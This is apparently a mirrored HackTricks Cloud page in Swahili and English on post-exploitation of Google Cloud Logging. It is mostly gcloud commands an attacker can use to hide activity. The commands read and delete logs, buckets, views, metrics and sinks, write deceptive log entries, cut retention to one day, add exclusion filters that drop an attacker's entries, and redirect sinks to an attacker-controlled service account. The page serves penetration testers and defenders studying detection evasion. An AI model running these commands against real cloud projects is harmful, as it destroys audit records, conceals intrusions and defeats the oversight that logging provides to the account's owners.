mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 22:03:11 -08:00
110 lines
4.0 KiB
Markdown
110 lines
4.0 KiB
Markdown
# GCP - Logging Post Exploitation
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Basic Information
|
|
|
|
Kwa maelezo zaidi angalia:
|
|
|
|
{{#ref}}
|
|
../gcp-services/gcp-logging-enum.md
|
|
{{#endref}}
|
|
|
|
Kwa njia nyingine za kuzuia ufuatiliaji angalia:
|
|
|
|
{{#ref}}
|
|
gcp-monitoring-post-exploitation.md
|
|
{{#endref}}
|
|
|
|
### Default Logging
|
|
|
|
**Kwa kawaida hutakamatwa kwa kufanya tu vitendo vya kusoma. Kwa maelezo zaidi angalia sehemu ya Logging Enum.**
|
|
|
|
### Add Excepted Principal
|
|
|
|
Katika [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) na [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) inawezekana kuongeza wakuu ili wasizalishe kumbukumbu. Mshambuliaji anaweza kutumia hii kuzuia kukamatwa.
|
|
|
|
### Read logs - `logging.logEntries.list`
|
|
```bash
|
|
# Read logs
|
|
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
|
|
|
# Everything from a timestamp
|
|
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json
|
|
|
|
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
|
```
|
|
### `logging.logs.delete`
|
|
```bash
|
|
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
|
gcloud logging logs delete <log-name>
|
|
```
|
|
### Andika kumbukumbu - `logging.logEntries.create`
|
|
```bash
|
|
# Write a log entry to try to disrupt some system
|
|
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
|
```
|
|
### `logging.buckets.update`
|
|
```bash
|
|
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
|
|
|
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
|
```
|
|
### `logging.buckets.delete`
|
|
```bash
|
|
# Delete log bucket
|
|
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
|
```
|
|
### `logging.links.delete`
|
|
```bash
|
|
# Delete link
|
|
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
|
```
|
|
### `logging.views.delete`
|
|
```bash
|
|
# Delete a logging view to remove access to anyone using it
|
|
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
|
```
|
|
### `logging.views.update`
|
|
```bash
|
|
# Update a logging view to hide data
|
|
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
|
```
|
|
### `logging.logMetrics.update`
|
|
```bash
|
|
# Update log based metrics - logging.logMetrics.update
|
|
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
|
```
|
|
### `logging.logMetrics.delete`
|
|
```bash
|
|
# Delete log based metrics - logging.logMetrics.delete
|
|
gcloud logging metrics delete <metric-name>
|
|
```
|
|
### `logging.sinks.delete`
|
|
```bash
|
|
# Delete sink - logging.sinks.delete
|
|
gcloud logging sinks delete <sink-name>
|
|
```
|
|
### `logging.sinks.update`
|
|
```bash
|
|
# Disable sink - logging.sinks.update
|
|
gcloud logging sinks update <sink-name> --disabled
|
|
|
|
# Createa filter to exclude attackers logs - logging.sinks.update
|
|
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"
|
|
|
|
# Change where the sink is storing the data - logging.sinks.update
|
|
gcloud logging sinks update <sink-name> new-destination
|
|
|
|
# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
|
|
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID
|
|
|
|
# Remove explusions to try to overload with logs - logging.sinks.update
|
|
gcloud logging sinks update SINK_NAME --clear-exclusions
|
|
|
|
# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
|
|
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
|
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|